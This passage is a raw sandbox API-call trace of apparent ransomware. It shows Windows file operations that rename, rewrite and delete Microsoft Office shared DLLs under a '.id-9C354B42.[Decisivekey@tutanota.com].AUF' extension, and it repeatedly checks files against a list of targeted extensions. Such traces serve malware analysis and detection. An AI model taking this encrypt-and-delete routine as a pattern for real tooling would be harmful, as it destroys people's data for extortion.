"c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0223.567] GetLastError () returned 0x0 [0223.567] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x24500, lpOverlapped=0x0) returned 1 [0223.682] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x24510, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x24510, lpOverlapped=0x0) returned 1 [0223.685] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.685] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0223.685] SetEndOfFile (hFile=0x1d8) returned 1 [0223.685] CloseHandle (hObject=0x1d8) returned 1 [0223.685] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.685] SetEndOfFile (hFile=0x1f4) returned 1 [0223.686] CloseHandle (hObject=0x1f4) returned 1 [0223.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.686] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 1 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString=".doc") returned 4 [0223.687] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".docx") returned 5 [0223.687] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0223.687] lstrlenW (lpString=".pdf") returned 4 [0223.687] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".xls") returned 4 [0223.687] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".xlsx") returned 5 [0223.687] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0223.687] lstrlenW (lpString=".ppt") returned 4 [0223.687] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString=".zip") returned 4 [0223.687] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".rar") returned 4 [0223.687] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".bz2") returned 4 [0223.687] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.687] lstrlenW (lpString=".7z") returned 3 [0223.687] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString=".dbf") returned 4 [0223.687] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString=".1cd") returned 4 [0223.687] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString=".jpg") returned 4 [0223.687] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.687] lstrlenW (lpString=".doc") returned 4 [0223.687] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".docx") returned 5 [0223.687] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0223.687] lstrlenW (lpString=".pdf") returned 4 [0223.687] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".xls") returned 4 [0223.687] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.687] lstrlenW (lpString=".xlsx") returned 5 [0223.688] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0223.688] lstrlenW (lpString=".ppt") returned 4 [0223.688] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.688] lstrlenW (lpString=".zip") returned 4 [0223.688] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.688] lstrlenW (lpString=".rar") returned 4 [0223.688] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.688] lstrlenW (lpString=".bz2") returned 4 [0223.688] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.688] lstrlenW (lpString=".7z") returned 3 [0223.688] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.688] lstrlenW (lpString=".dbf") returned 4 [0223.688] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.688] lstrlenW (lpString=".1cd") returned 4 [0223.688] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0223.688] lstrlenW (lpString=".jpg") returned 4 [0223.688] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.688] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.688] lstrlenW (lpString="OSPPOBJS.DLL") returned 12 [0223.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0223.689] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=2173696) returned 1 [0223.689] CloseHandle (hObject=0x1f4) returned 1 [0223.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0x20 [0223.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0223.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0223.690] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0223.690] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0223.690] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.716] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb0e55, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0223.716] ReadFile (in: hFile=0x1f4, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.733] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0223.733] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d2b00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0223.733] ReadFile (in: hFile=0x1f4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.995] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.996] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0224.006] SetEndOfFile (hFile=0x1f4) returned 1 [0224.034] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0224.034] WriteFile (in: hFile=0x1f4, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.036] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb0e55, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0224.036] WriteFile (in: hFile=0x1f4, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.037] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d2b00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0224.037] WriteFile (in: hFile=0x1f4, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.039] CloseHandle (hObject=0x1f4) returned 1 [0224.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.039] lstrlenW (lpString=".doc") returned 4 [0224.039] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.039] lstrlenW (lpString=".docx") returned 5 [0224.039] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0224.039] lstrlenW (lpString=".pdf") returned 4 [0224.039] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.039] lstrlenW (lpString=".xls") returned 4 [0224.039] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.039] lstrlenW (lpString=".xlsx") returned 5 [0224.039] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0224.039] lstrlenW (lpString=".ppt") returned 4 [0224.039] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.039] lstrlenW (lpString=".zip") returned 4 [0224.039] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.039] lstrlenW (lpString=".rar") returned 4 [0224.039] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString=".bz2") returned 4 [0224.040] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.040] lstrlenW (lpString=".7z") returned 3 [0224.040] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".dbf") returned 4 [0224.040] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".1cd") returned 4 [0224.040] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".jpg") returned 4 [0224.040] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".doc") returned 4 [0224.040] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString=".docx") returned 5 [0224.040] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0224.040] lstrlenW (lpString=".pdf") returned 4 [0224.040] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString=".xls") returned 4 [0224.040] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString=".xlsx") returned 5 [0224.040] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0224.040] lstrlenW (lpString=".ppt") returned 4 [0224.040] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".zip") returned 4 [0224.040] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString=".rar") returned 4 [0224.040] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.040] lstrlenW (lpString=".bz2") returned 4 [0224.040] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.040] lstrlenW (lpString=".7z") returned 3 [0224.040] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".dbf") returned 4 [0224.040] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".1cd") returned 4 [0224.040] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0224.040] lstrlenW (lpString=".jpg") returned 4 [0224.040] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.040] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".AUF") returned 1 [0224.041] lstrlenW (lpString="STINTL.DLL.IDX_DLL") returned 18 [0224.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0224.068] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=13696) returned 1 [0224.068] CloseHandle (hObject=0x168) returned 1 [0224.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0224.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0224.068] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.069] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0224.069] GetLastError () returned 0x0 [0224.069] ReadFile (in: hFile=0x168, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x3580, lpOverlapped=0x0) returned 1 [0224.086] WriteFile (in: hFile=0x224, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x3590, lpOverlapped=0x0) returned 1 [0224.087] ReadFile (in: hFile=0x168, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.087] WriteFile (in: hFile=0x224, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0224.087] SetEndOfFile (hFile=0x224) returned 1 [0224.087] CloseHandle (hObject=0x224) returned 1 [0224.087] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.087] SetEndOfFile (hFile=0x168) returned 1 [0224.088] CloseHandle (hObject=0x168) returned 1 [0224.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 1 [0224.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.088] lstrlenW (lpString=".doc") returned 4 [0224.088] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0224.088] lstrlenW (lpString=".docx") returned 5 [0224.089] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0224.089] lstrlenW (lpString=".pdf") returned 4 [0224.089] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".xls") returned 4 [0224.089] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".xlsx") returned 5 [0224.089] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0224.089] lstrlenW (lpString=".ppt") returned 4 [0224.089] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.089] lstrlenW (lpString=".zip") returned 4 [0224.089] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".rar") returned 4 [0224.089] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".bz2") returned 4 [0224.089] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".7z") returned 3 [0224.089] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.089] lstrlenW (lpString=".dbf") returned 4 [0224.089] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.089] lstrlenW (lpString=".1cd") returned 4 [0224.089] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.089] lstrlenW (lpString=".jpg") returned 4 [0224.089] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.089] lstrlenW (lpString=".doc") returned 4 [0224.089] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".docx") returned 5 [0224.089] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0224.089] lstrlenW (lpString=".pdf") returned 4 [0224.089] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".xls") returned 4 [0224.089] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".xlsx") returned 5 [0224.089] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0224.089] lstrlenW (lpString=".ppt") returned 4 [0224.089] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.089] lstrlenW (lpString=".zip") returned 4 [0224.089] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".rar") returned 4 [0224.089] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0224.089] lstrlenW (lpString=".bz2") returned 4 [0224.090] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0224.090] lstrlenW (lpString=".7z") returned 3 [0224.090] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.090] lstrlenW (lpString=".dbf") returned 4 [0224.090] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0224.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.090] lstrlenW (lpString=".1cd") returned 4 [0224.090] 